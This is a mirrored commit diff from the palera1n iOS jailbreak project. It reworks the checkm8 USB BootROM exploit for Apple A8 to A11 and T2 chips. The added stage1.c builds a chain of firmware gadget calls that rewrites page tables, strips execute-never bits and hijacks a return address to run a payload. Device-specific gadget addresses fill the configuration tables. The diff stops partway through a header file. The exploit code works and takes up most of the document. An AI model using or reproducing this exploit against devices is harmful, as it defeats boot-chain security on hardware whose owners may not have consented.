mirror of
https://github.com/palera1n/palera1n.git
synced 2026-10-23 18:49:48 +02:00
17 files changed
+384
-177
No files matched your search
+15
-16
@@ -7,6 +7,7 @@
|
||||
|
||||
#include "payload.h"
|
||||
#include "dfu.h"
|
||||
#include "stage1.h"
|
||||
|
||||
#include "../utils.h"
|
||||
#include "../usb/shim.h"
|
||||
@@ -153,28 +154,26 @@ bool checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration
|
||||
|
||||
bool checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig) {
|
||||
size_t i, data_sz, packet_sz;
|
||||
const uint8_t *payload = NULL;
|
||||
uint8_t *data;
|
||||
transfer_ret_t transfer_ret;
|
||||
bool ret = false;
|
||||
|
||||
void* blank[DFU_MAX_TRANSFER_SZ];
|
||||
memset(blank, 0, DFU_MAX_TRANSFER_SZ);
|
||||
uint64_t* p = (uint64_t*)blank;
|
||||
p[5] = payloadConfig->insecure_memory_base;
|
||||
void* checkra1n_payload = NULL;
|
||||
void *overwrite = NULL;
|
||||
size_t checkra1n_payload_sz = 0;
|
||||
size_t overwrite_sz = 0;
|
||||
|
||||
ret = create_pongo_payload_for_device(deviceConfig->cpid, &payload, &data_sz);
|
||||
checkm8_overwrite_t checkm8_overwrite;
|
||||
memset(&checkm8_overwrite, '\0', sizeof(checkm8_overwrite));
|
||||
checkm8_overwrite.callback.next = payloadConfig->insecure_memory_base;
|
||||
overwrite = &checkm8_overwrite;
|
||||
overwrite_sz = sizeof(checkm8_overwrite);
|
||||
|
||||
ret = create_pongo_payload_for_device(deviceConfig->cpid, &checkra1n_payload, &checkra1n_payload_sz);
|
||||
if (!ret) return false;
|
||||
|
||||
LOG_VERBOSE("setting up stage 2 for CPID 0x%X", (unsigned)deviceConfig->cpid);
|
||||
|
||||
data = calloc(1, data_sz);
|
||||
if (!data) {
|
||||
LOG_ERROR("failed to allocate payload buffer");
|
||||
return false;
|
||||
}
|
||||
|
||||
memcpy(data, payload, data_sz);
|
||||
ret = generate_stage1(&data, &data_sz, checkra1n_payload, checkra1n_payload_sz, deviceConfig, payloadConfig);
|
||||
if (!ret) return false;
|
||||
|
||||
if(checkm8_usb_request_stall(handle) && checkm8_usb_request_leak(handle)) {
|
||||
LOG_VERBOSE("successfully leaked data");
|
||||
@@ -186,7 +185,7 @@ bool checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration
|
||||
LOG_VERBOSE("i = %zu", i);
|
||||
send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, NULL);
|
||||
}
|
||||
if(p != NULL && send_usb_control_request(handle, 0x00, 0, 0, 0x00, p, 0x30, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) {
|
||||
if(overwrite != NULL && send_usb_control_request(handle, 0x00, 0, 0, 0x00, overwrite, overwrite_sz, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) {
|
||||
ret = true;
|
||||
for(i = 0; ret && i < data_sz; i += packet_sz) {
|
||||
packet_sz = MIN(data_sz - i, DFU_MAX_TRANSFER_SZ);
|
||||
|
||||
+98
-140
@@ -12,6 +12,7 @@
|
||||
#include "../gen/payloads/yolo_t7001.h"
|
||||
#include "../gen/payloads/yolo_t8010.h"
|
||||
#include "../gen/payloads/yolo_t8011.h"
|
||||
#include "../gen/payloads/yolo_t8012.h"
|
||||
#include "../gen/payloads/yolo_t8015.h"
|
||||
|
||||
bool checkm8_find_device_configuration_for_cpid(
|
||||
@@ -64,160 +65,116 @@ bool checkm8_find_payload_configuration_for_cpid(
|
||||
bool foundMatchingConfiguration = true;
|
||||
switch (cpid) {
|
||||
case A11:
|
||||
config->tlbi = 0x1000004AC;
|
||||
config->nop_gadget = 0x10000A9C4;
|
||||
config->ret_gadget = 0x100000148;
|
||||
config->patch_addr = 0x10000624C;
|
||||
config->ttbr0_addr = 0x18000C000;
|
||||
config->func_gadget = 0x10000A9AC;
|
||||
config->write_ttbr0 = 0x10000045C;
|
||||
config->memcpy_addr = 0x10000E9D0;
|
||||
config->aes_crypto_cmd = 0x100009E9C;
|
||||
config->boot_tramp_end = 0x18001C000;
|
||||
config->ttbr0_vrom_off = 0x400;
|
||||
config->ttbr0_sram_off = 0x600;
|
||||
config->gUSBSerialNumber = 0x180003A78;
|
||||
config->dfu_handle_request = 0x180008638;
|
||||
config->usb_core_do_transfer = 0x10000B9A8;
|
||||
config->dfu_handle_bus_reset = 0x180008668;
|
||||
config->insecure_memory_base = 0x18001C000;
|
||||
config->handle_interface_request = 0x10000BCCC;
|
||||
config->usb_create_string_descriptor = 0x10000AE80;
|
||||
config->usb_serial_number_string_descriptor = 0x1800008FA;
|
||||
config->insecure_memory_base = 0x18001C000;
|
||||
config->func_gadget = 0x10000a998;
|
||||
config->tlbi = 0x1000004AC;
|
||||
config->write_prim = 0x100009c48;
|
||||
config->arm_clean_invalidate_dcache_line = 0x1000004e4;
|
||||
config->arm_invalidate_icache = 0x1000004c0;
|
||||
config->enter_critical_section = 0x10000f958;
|
||||
config->exit_critical_section = 0x10000f9a0;
|
||||
config->write_ttbr0 = 0x10000045c;
|
||||
config->tlbi = 0x1000004ac;
|
||||
config->TTBR0_PATCH_BASE = 0x180020000;
|
||||
config->TTBR0_BASE = 0xc000;
|
||||
config->bootstrap_task_lr = 0x180015f88;
|
||||
config->payload_start_offset = 0x800;
|
||||
break;
|
||||
case T2:
|
||||
config->tlbi = 0x100000494;
|
||||
config->nop_gadget = 0x100008DB8;
|
||||
config->ret_gadget = 0x10000012C;
|
||||
config->patch_addr = 0x100004854;
|
||||
config->ttbr0_addr = 0x18000C000;
|
||||
config->func_gadget = 0x100008DA0;
|
||||
config->write_ttbr0 = 0x100000444;
|
||||
config->memcpy_addr = 0x10000EA30;
|
||||
config->aes_crypto_cmd = 0x1000082AC;
|
||||
config->boot_tramp_end = 0x18001C000;
|
||||
config->ttbr0_vrom_off = 0x400;
|
||||
config->ttbr0_sram_off = 0x600;
|
||||
config->gUSBSerialNumber = 0x180003AF8;
|
||||
config->dfu_handle_request = 0x180008B08;
|
||||
config->usb_core_do_transfer = 0x10000BD20;
|
||||
config->dfu_handle_bus_reset = 0x180008B38;
|
||||
config->insecure_memory_base = 0x18001C000;
|
||||
config->handle_interface_request = 0x10000BFFC;
|
||||
config->usb_create_string_descriptor = 0x10000B1CC;
|
||||
config->usb_serial_number_string_descriptor = 0x18000082A;
|
||||
config->insecure_memory_base = 0x18001C000;
|
||||
config->func_gadget = 0x100008d8c;
|
||||
config->write_prim = 0x100008058;
|
||||
config->arm_clean_invalidate_dcache_line = 0x1000004cc;
|
||||
config->arm_invalidate_icache = 0x1000004a8;
|
||||
config->enter_critical_section = 0x10000f9b8;
|
||||
config->exit_critical_section = 0x10000fa00;
|
||||
config->write_ttbr0 = 0x100000444;
|
||||
config->tlbi = 0x100000494;
|
||||
config->TTBR0_PATCH_BASE = 0x180020000;
|
||||
config->TTBR0_BASE = 0xc000;
|
||||
config->bootstrap_task_lr = 0x180015f78;
|
||||
config->payload_start_offset = 0x800;
|
||||
break;
|
||||
case A10X:
|
||||
config->tlbi = 0x100000444;
|
||||
config->nop_gadget = 0x10000CD0C;
|
||||
config->ret_gadget = 0x100000148;
|
||||
config->patch_addr = 0x100007630;
|
||||
config->ttbr0_addr = 0x1800A0000;
|
||||
config->func_gadget = 0x10000CCEC;
|
||||
config->write_ttbr0 = 0x1000003F4;
|
||||
config->memcpy_addr = 0x100010950;
|
||||
config->aes_crypto_cmd = 0x10000C994;
|
||||
config->boot_tramp_end = 0x1800B0000;
|
||||
config->ttbr0_vrom_off = 0x400;
|
||||
config->ttbr0_sram_off = 0x600;
|
||||
config->gUSBSerialNumber = 0x180083D28;
|
||||
config->dfu_handle_request = 0x180088A58;
|
||||
config->usb_core_do_transfer = 0x10000DD64;
|
||||
config->dfu_handle_bus_reset = 0x180088A88;
|
||||
config->insecure_memory_base = 0x1800B0000;
|
||||
config->handle_interface_request = 0x10000E08C;
|
||||
config->usb_create_string_descriptor = 0x10000D234;
|
||||
config->usb_serial_number_string_descriptor = 0x18008062A;
|
||||
config->insecure_memory_base = 0x1800B0000;
|
||||
config->func_gadget = 0x10000cce4;
|
||||
config->write_prim2 = 0x100001804;
|
||||
config->arm_clean_invalidate_dcache_line = 0x10000047c;
|
||||
config->arm_invalidate_icache = 0x100000458;
|
||||
config->enter_critical_section = 0x10000a658;
|
||||
config->exit_critical_section = 0x10000a6a0;
|
||||
config->write_ttbr0 = 0x1000003F4;
|
||||
config->tlbi = 0x100000444;
|
||||
config->TTBR0_PATCH_BASE = 0x1800b4000;
|
||||
config->TTBR0_BASE = 0xa0000;
|
||||
config->bootstrap_task_lr = 0x1800a9f88;
|
||||
config->payload_start_offset = 0x800;
|
||||
break;
|
||||
case A10:
|
||||
config->tlbi = 0x100000434;
|
||||
config->nop_gadget = 0x10000CC6C;
|
||||
config->ret_gadget = 0x10000015C;
|
||||
config->patch_addr = 0x1000074AC;
|
||||
config->ttbr0_addr = 0x1800A0000;
|
||||
config->func_gadget = 0x10000CC4C;
|
||||
config->write_ttbr0 = 0x1000003E4;
|
||||
config->memcpy_addr = 0x100010730;
|
||||
config->aes_crypto_cmd = 0x10000C8F4;
|
||||
config->boot_tramp_end = 0x1800B0000;
|
||||
config->ttbr0_vrom_off = 0x400;
|
||||
config->ttbr0_sram_off = 0x600;
|
||||
config->gUSBSerialNumber = 0x180083CF8;
|
||||
config->dfu_handle_request = 0x180088B48;
|
||||
config->usb_core_do_transfer = 0x10000DC98;
|
||||
config->dfu_handle_bus_reset = 0x180088B78;
|
||||
config->insecure_memory_base = 0x1800B0000;
|
||||
config->handle_interface_request = 0x10000DFB8;
|
||||
config->usb_create_string_descriptor = 0x10000D150;
|
||||
config->usb_serial_number_string_descriptor = 0x1800805DA;
|
||||
config->insecure_memory_base = 0x1800B0000;
|
||||
config->func_gadget = 0x10000cc44;
|
||||
config->write_prim2 = 0x100001808;
|
||||
config->arm_clean_invalidate_dcache_line = 0x10000046c;
|
||||
config->arm_invalidate_icache = 0x100000448;
|
||||
config->enter_critical_section = 0x10000A4B8;
|
||||
config->exit_critical_section = 0x10000A514;
|
||||
config->write_ttbr0 = 0x1000003E4;
|
||||
config->tlbi = 0x100000434;
|
||||
config->TTBR0_PATCH_BASE = 0x1800b4000;
|
||||
config->TTBR0_BASE = 0xa0000;
|
||||
config->bootstrap_task_lr = 0x1800a9f68;
|
||||
config->payload_start_offset = 0x800;
|
||||
break;
|
||||
case A9X:
|
||||
config->tlbi = 0x100000404;
|
||||
config->nop_gadget = 0x10000CD60;
|
||||
config->ret_gadget = 0x100000118;
|
||||
config->patch_addr = 0x100007668;
|
||||
config->ttbr0_addr = 0x180050000;
|
||||
config->func_gadget = 0x10000CD40;
|
||||
config->write_ttbr0 = 0x1000003B4;
|
||||
config->memcpy_addr = 0x1000106F0;
|
||||
config->aes_crypto_cmd = 0x10000C9D4;
|
||||
config->boot_tramp_end = 0x180044000;
|
||||
config->ttbr0_vrom_off = 0x400;
|
||||
config->ttbr0_sram_off = 0x600;
|
||||
config->gUSBSerialNumber = 0x180047578;
|
||||
config->dfu_handle_request = 0x18004C378;
|
||||
config->usb_core_do_transfer = 0x10000DDA4;
|
||||
config->dfu_handle_bus_reset = 0x18004C3A8;
|
||||
config->insecure_memory_base = 0x180000000;
|
||||
config->handle_interface_request = 0x10000E0B4;
|
||||
config->usb_create_string_descriptor = 0x10000D280;
|
||||
config->usb_serial_number_string_descriptor = 0x18004486A;
|
||||
config->insecure_memory_base = 0x180000000;
|
||||
config->func_gadget = 0x10000cd38;
|
||||
config->write_prim2 = 0x100001a78;
|
||||
config->arm_clean_invalidate_dcache_line = 0x10000043c;
|
||||
config->arm_invalidate_icache = 0x100000418;
|
||||
config->enter_critical_section = 0x100009b24;
|
||||
config->exit_critical_section = 0x100009b88;
|
||||
config->write_ttbr0 = 0x1000003b4;
|
||||
config->tlbi = 0x100000404;
|
||||
config->TTBR0_PATCH_BASE = 0x180004000;
|
||||
config->TTBR0_BASE = 0x50000;
|
||||
config->bootstrap_task_lr = 0x180059f58;
|
||||
config->payload_start_offset = 0x800;
|
||||
break;
|
||||
case A9:
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->func_gadget = 0x10000de0c;
|
||||
config->write_prim2 = 0x100001bc0;
|
||||
config->arm_clean_invalidate_dcache_line = 0x10000042c;
|
||||
config->arm_invalidate_icache = 0x100000408;
|
||||
config->bootstrap_task_lr = 0x1800c2f58;
|
||||
config->payload_start_offset = 0xc0;
|
||||
break;
|
||||
case A9_TSMC:
|
||||
case A9:
|
||||
config->patch_addr = 0x10000812C;
|
||||
config->ttbr0_addr = 0x1800C8000;
|
||||
config->memcpy_addr = 0x100011030;
|
||||
config->aes_crypto_cmd = 0x10000DAA0;
|
||||
config->boot_tramp_end = 0x1800E1000;
|
||||
config->ttbr0_vrom_off = 0x400;
|
||||
config->ttbr0_sram_off = 0x600;
|
||||
config->gUSBSerialNumber = 0x180087958;
|
||||
config->dfu_handle_request = 0x1800878F8;
|
||||
config->usb_core_do_transfer = 0x10000EE78;
|
||||
config->dfu_handle_bus_reset = 0x180087928;
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->handle_interface_request = 0x10000F1B0;
|
||||
config->usb_create_string_descriptor = 0x10000E354;
|
||||
config->usb_serial_number_string_descriptor = 0x1800807DA;
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->func_gadget = 0x10000de0c;
|
||||
config->write_prim2 = 0x100001bc0;
|
||||
config->arm_clean_invalidate_dcache_line = 0x10000042c;
|
||||
config->arm_invalidate_icache = 0x100000408;
|
||||
config->bootstrap_task_lr = 0x1800c2f58;
|
||||
config->payload_start_offset = 0xc0;
|
||||
break;
|
||||
case A8X:
|
||||
config->patch_addr = 0x10000AD04;
|
||||
config->memcpy_addr = 0x100013F10;
|
||||
config->aes_crypto_cmd = 0x100010A90;
|
||||
config->boot_tramp_end = 0x1800E1000;
|
||||
config->gUSBSerialNumber = 0x180088E48;
|
||||
config->dfu_handle_request = 0x180088DF8;
|
||||
config->usb_core_do_transfer = 0x100011BB4;
|
||||
config->dfu_handle_bus_reset = 0x180088E18;
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->handle_interface_request = 0x100011EE4;
|
||||
config->usb_create_string_descriptor = 0x100011074;
|
||||
config->usb_serial_number_string_descriptor = 0x180080C2A;
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->func_gadget = 0x100010df4;
|
||||
config->write_prim = 0x10000ed5c;
|
||||
config->arm_clean_invalidate_dcache_line = 0x100000448;
|
||||
config->arm_invalidate_icache = 0x100000424;
|
||||
config->bootstrap_task_lr = 0x1800c2f68;
|
||||
config->payload_start_offset = 0xc0;
|
||||
break;
|
||||
case A8:
|
||||
config->patch_addr = 0x100007E98;
|
||||
config->memcpy_addr = 0x100010E70;
|
||||
config->aes_crypto_cmd = 0x10000DA90;
|
||||
config->boot_tramp_end = 0x1800E1000;
|
||||
config->gUSBSerialNumber = 0x1800888C8;
|
||||
config->dfu_handle_request = 0x180088878;
|
||||
config->usb_core_do_transfer = 0x10000EBB4;
|
||||
config->dfu_handle_bus_reset = 0x180088898;
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->handle_interface_request = 0x10000EEE4;
|
||||
config->usb_create_string_descriptor = 0x10000E074;
|
||||
config->usb_serial_number_string_descriptor = 0x18008062A;
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->func_gadget = 0x10000ddf4;
|
||||
config->write_prim = 0x10000bc2c;
|
||||
config->arm_clean_invalidate_dcache_line = 0x100000448;
|
||||
config->arm_invalidate_icache = 0x100000424;
|
||||
config->bootstrap_task_lr = 0x1800c2f68;
|
||||
config->payload_start_offset = 0xc0;
|
||||
break;
|
||||
default:
|
||||
LOG_ERROR("CPID 0x%x is not supported!", cpid);
|
||||
@@ -228,6 +185,7 @@ bool checkm8_find_payload_configuration_for_cpid(
|
||||
|
||||
static const yolo_payload_t yolo_payloads[] = {
|
||||
{A11, payloads_yolo_t8015_bin, payloads_yolo_t8015_bin_len},
|
||||
{T2, payloads_yolo_t8012_bin, payloads_yolo_t8012_bin_len},
|
||||
{A10X, payloads_yolo_t8011_bin, payloads_yolo_t8011_bin_len},
|
||||
{A10, payloads_yolo_t8010_bin, payloads_yolo_t8010_bin_len},
|
||||
{A9_TSMC, payloads_yolo_s8003_bin, payloads_yolo_s8003_bin_len},
|
||||
|
||||
+13
-20
@@ -26,27 +26,20 @@ struct DeviceConfiguration {
|
||||
|
||||
struct PayloadConfiguration {
|
||||
uint64_t
|
||||
tlbi,
|
||||
nop_gadget,
|
||||
ret_gadget,
|
||||
patch_addr,
|
||||
ttbr0_addr,
|
||||
func_gadget,
|
||||
write_ttbr0,
|
||||
memcpy_addr,
|
||||
aes_crypto_cmd,
|
||||
boot_tramp_end,
|
||||
ttbr0_vrom_off,
|
||||
ttbr0_sram_off,
|
||||
gUSBSerialNumber, // ??
|
||||
dfu_handle_request,
|
||||
usb_core_do_transfer,
|
||||
dfu_handle_bus_reset,
|
||||
insecure_memory_base,
|
||||
handle_interface_request,
|
||||
usb_create_string_descriptor,
|
||||
usb_serial_number_string_descriptor;
|
||||
uint32_t payload_dest_armv7;
|
||||
func_gadget,
|
||||
write_prim,
|
||||
write_prim2,
|
||||
arm_clean_invalidate_dcache_line,
|
||||
arm_invalidate_icache,
|
||||
enter_critical_section,
|
||||
exit_critical_section,
|
||||
write_ttbr0,
|
||||
tlbi,
|
||||
TTBR0_PATCH_BASE,
|
||||
TTBR0_BASE,
|
||||
bootstrap_task_lr,
|
||||
payload_start_offset;
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
|
||||
+223
@@ -0,0 +1,223 @@
|
||||
#include "stage1.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "payload.h"
|
||||
|
||||
#define ARM_16K_TT_L2_SHIFT 25 // page descriptor shift
|
||||
|
||||
// https://github.com/palera1n/openra1n/blob/main/checkm8.c#L398-L580
|
||||
bool generate_stage1(
|
||||
void** outbuf,
|
||||
size_t* outlen,
|
||||
void* payload,
|
||||
size_t payload_sz,
|
||||
struct DeviceConfiguration *deviceConfig,
|
||||
struct PayloadConfiguration *payloadConfig
|
||||
) {
|
||||
bool wnx = false;
|
||||
uint64_t write_gadget = 0;
|
||||
uint32_t write_val = 0;
|
||||
|
||||
uint64_t base_address = payloadConfig->insecure_memory_base;
|
||||
|
||||
if(deviceConfig->cpid == A9X || deviceConfig->cpid == A10 || deviceConfig->cpid == A10X || deviceConfig->cpid == T2 || deviceConfig->cpid == A11)
|
||||
{
|
||||
wnx = true;
|
||||
}
|
||||
|
||||
size_t presize = wnx == true ? 0x800 : 0xc0;
|
||||
void *buf = malloc(presize);
|
||||
|
||||
uint32_t nextOffset = 0;
|
||||
unsigned char* nextBuf = NULL;
|
||||
dfu_callback_t* cb = (dfu_callback_t*)buf;
|
||||
nextBuf = buf;
|
||||
|
||||
uint32_t current_size = 0;
|
||||
int count = 0;
|
||||
|
||||
#define PUSH(end, func, arg0, arg1) \
|
||||
{ \
|
||||
count++; \
|
||||
current_size = nextOffset + sizeof(dfu_callback_t); \
|
||||
if(!(current_size > (wnx == true ? 0x800 : 0xc0))) \
|
||||
{ \
|
||||
cb->callback = payloadConfig->func_gadget; \
|
||||
if(count%3 == 0) \
|
||||
nextOffset += 0x80; \
|
||||
else \
|
||||
nextOffset += 0x20; \
|
||||
if(!end)cb->next = base_address + nextOffset; \
|
||||
uint64_t* ptr = (uint64_t*)(cb); \
|
||||
uint32_t* ptr32 = (uint32_t*)(cb); \
|
||||
ptr[15] = func; \
|
||||
if(func == payloadConfig->write_prim) \
|
||||
{ \
|
||||
ptr[14] = (uint64_t)(arg0 - 4); \
|
||||
ptr32[5] = (uint32_t)arg1; \
|
||||
} \
|
||||
else if(func == payloadConfig->write_prim2) \
|
||||
{ \
|
||||
ptr[14] = (uint64_t)arg0; \
|
||||
ptr32[5] = (uint32_t)arg1; \
|
||||
} \
|
||||
else if(func == payloadConfig->write_ttbr0) \
|
||||
{ \
|
||||
ptr[14] = (uint64_t)arg0; \
|
||||
} \
|
||||
else if(func == payloadConfig->arm_clean_invalidate_dcache_line) \
|
||||
{ \
|
||||
ptr[14] = (uint64_t)arg0; \
|
||||
} \
|
||||
nextBuf = (unsigned char*)(buf + nextOffset); \
|
||||
cb = (dfu_callback_t*)nextBuf; \
|
||||
} \
|
||||
else \
|
||||
{ \
|
||||
goto fail; \
|
||||
} \
|
||||
} \
|
||||
|
||||
if((deviceConfig->cpid == A11) || (deviceConfig->cpid == T2) || (deviceConfig->cpid == A8X) || (deviceConfig->cpid == A8))
|
||||
{
|
||||
write_gadget = payloadConfig->write_prim;
|
||||
}
|
||||
else
|
||||
{
|
||||
write_gadget = payloadConfig->write_prim2;
|
||||
}
|
||||
|
||||
uint64_t vrom_address = 0x100000000;
|
||||
uint64_t sram_address = 0x180000000;
|
||||
uint64_t new_va = 0x142000000; // post-exploit
|
||||
uint32_t vrom_off = (vrom_address >> ARM_16K_TT_L2_SHIFT) * 8;
|
||||
uint32_t new_off = (new_va >> ARM_16K_TT_L2_SHIFT) * 8;
|
||||
uint32_t sram_off = (sram_address >> ARM_16K_TT_L2_SHIFT) * 8;
|
||||
|
||||
uint64_t sram_rx_va = 0x140000000; // execute payload
|
||||
uint64_t sram_rw_va = 0x142000000; // custom ttbr
|
||||
uint32_t sram_rx_off = (sram_rx_va >> ARM_16K_TT_L2_SHIFT) * 8;
|
||||
uint32_t sram_rw_off = (sram_rw_va >> ARM_16K_TT_L2_SHIFT) * 8;
|
||||
|
||||
uint64_t vrom_rw_va = 0x144000000;
|
||||
uint32_t vrom_rw_off = (vrom_rw_va >> ARM_16K_TT_L2_SHIFT) * 8;
|
||||
|
||||
if(wnx) // only A9X-A11
|
||||
{
|
||||
// VROM: 0x100000000
|
||||
uint64_t vrom_bit = vrom_address | 0x6a5;
|
||||
uint32_t vrom_bit_lower = (uint32_t)(vrom_bit & 0xffffffff);
|
||||
uint32_t vrom_bit_upper = (uint32_t)(vrom_bit >> 32);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_off + 0), vrom_bit_lower);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_off + 4), vrom_bit_upper);
|
||||
|
||||
// Newp: 0x142000000
|
||||
uint64_t new_bit = sram_address | 0x621; // pa
|
||||
new_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
|
||||
new_bit |= (1uL << 53); // PXN
|
||||
new_bit |= (1uL << 54); // XN
|
||||
uint32_t new_bit_lower = (uint32_t)(new_bit & 0xffffffff);
|
||||
uint32_t new_bit_upper = (uint32_t)(new_bit >> 32);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (new_off + 0), new_bit_lower);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (new_off + 4), new_bit_upper);
|
||||
|
||||
// Newp: 0x144000000
|
||||
uint64_t new_bit_2 = sram_address | 0x621; // pa
|
||||
new_bit_2 |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
|
||||
new_bit_2 |= (1uL << 53); // PXN
|
||||
new_bit_2 |= (1uL << 54); // XN
|
||||
uint32_t new_bit_lower_2 = (uint32_t)(new_bit_2 & 0xffffffff);
|
||||
uint32_t new_bit_upper_2 = (uint32_t)(new_bit_2 >> 32);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_rw_off + 0), new_bit_lower_2);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_rw_off + 4), new_bit_upper_2);
|
||||
|
||||
// SRAM: 0x180000000
|
||||
uint64_t sram_bit = sram_address | 0x3;
|
||||
sram_bit |= (1uL << 63); // NS
|
||||
if(deviceConfig->cpid == A11) sram_bit |= 0x10000;
|
||||
if(deviceConfig->cpid == T2) sram_bit |= 0x10000;
|
||||
if(deviceConfig->cpid == A10X) sram_bit |= 0xa4000;
|
||||
if(deviceConfig->cpid == A10) sram_bit |= 0xa4000;
|
||||
if(deviceConfig->cpid == A9X) sram_bit |= 0x54000;
|
||||
uint32_t sram_bit_lower = (uint32_t)(sram_bit & 0xffffffff);
|
||||
uint32_t sram_bit_upper = (uint32_t)(sram_bit >> 32);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (sram_off + 0), sram_bit_lower);
|
||||
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (sram_off + 4), sram_bit_upper);
|
||||
}
|
||||
|
||||
if(wnx)
|
||||
{
|
||||
write_val = (uint32_t)(((base_address & 0x01FFFFFF) | (sram_rx_va & 0xffffffff)) + payloadConfig->payload_start_offset);
|
||||
}
|
||||
else
|
||||
{
|
||||
write_val = (uint32_t)((base_address & 0xFFFFFFFF) + payloadConfig->payload_start_offset);
|
||||
}
|
||||
PUSH(0, write_gadget, payloadConfig->bootstrap_task_lr, write_val);
|
||||
|
||||
if(wnx) // only A9X-A11
|
||||
{
|
||||
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (vrom_off & ~0xff), 0);
|
||||
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (new_off & ~0xff), 0);
|
||||
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (sram_off & ~0xff), 0);
|
||||
}
|
||||
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, base_address + payloadConfig->payload_start_offset, 0);
|
||||
PUSH(wnx == true ? 0 : 1, payloadConfig->arm_invalidate_icache, 0, 0);
|
||||
|
||||
if(wnx) // only A9X-A11
|
||||
{
|
||||
uint64_t sram_rx_bit = sram_address | 0x6a5;
|
||||
uint32_t sram_rx_bit_lower = (uint32_t)(sram_rx_bit & 0xffffffff);
|
||||
uint32_t sram_rx_bit_upper = (uint32_t)(sram_rx_bit >> 32);
|
||||
|
||||
uint64_t sram_rw_bit = sram_address | 0x621;
|
||||
sram_rw_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
|
||||
sram_rw_bit |= (1uL << 53); // PXN
|
||||
sram_rw_bit |= (1uL << 54); // XN
|
||||
uint32_t sram_rw_bit_lower = (uint32_t)(sram_rw_bit & 0xffffffff);
|
||||
uint32_t sram_rw_bit_upper = (uint32_t)(sram_rw_bit >> 32);
|
||||
|
||||
uint64_t vrom_rw_bit = vrom_address | 0x621;
|
||||
vrom_rw_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
|
||||
vrom_rw_bit |= (1uL << 53); // PXN
|
||||
vrom_rw_bit |= (1uL << 54); // XN
|
||||
uint32_t vrom_rw_bit_lower = (uint32_t)(vrom_rw_bit & 0xffffffff);
|
||||
uint32_t vrom_rw_bit_upper = (uint32_t)(vrom_rw_bit >> 32);
|
||||
|
||||
PUSH(0, payloadConfig->enter_critical_section, 0, 0);
|
||||
PUSH(0, payloadConfig->write_ttbr0, payloadConfig->TTBR0_PATCH_BASE, 0);
|
||||
PUSH(0, payloadConfig->tlbi, 0, 0);
|
||||
|
||||
PUSH(0, write_gadget, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off + 0), vrom_rw_bit_lower);
|
||||
PUSH(0, write_gadget, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off + 4), vrom_rw_bit_upper);
|
||||
|
||||
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off + 0), sram_rx_bit_lower);
|
||||
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off + 4), sram_rx_bit_upper);
|
||||
|
||||
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rw_off + 0), sram_rw_bit_lower);
|
||||
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rw_off + 4), sram_rw_bit_upper);
|
||||
|
||||
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off & ~0xff), 0);
|
||||
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off & ~0xff), 0);
|
||||
PUSH(0, payloadConfig->write_ttbr0, sram_address + payloadConfig->TTBR0_BASE, 0);
|
||||
PUSH(0, payloadConfig->tlbi, 0, 0);
|
||||
PUSH(1, payloadConfig->exit_critical_section, 0, 0);
|
||||
}
|
||||
|
||||
*outlen = payload_sz + (wnx == true ? 0x800 : 0xc0);
|
||||
*outbuf = malloc(*outlen);
|
||||
|
||||
memset(*outbuf, 0x0, *outlen);
|
||||
memcpy(*outbuf, buf, wnx == true ? 0x800 : 0xc0);
|
||||
memcpy(*outbuf + (wnx == true ? 0x800 : 0xc0), payload, payload_sz);
|
||||
if(buf) free(buf);
|
||||
return true;
|
||||
|
||||
fail:
|
||||
if(buf) free(buf);
|
||||
return false;
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
#ifndef STAGE1_H
|
||||
#define STAGE1_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#include "payload.h"
|
||||
|
||||
typedef struct
|
||||
{
|
||||
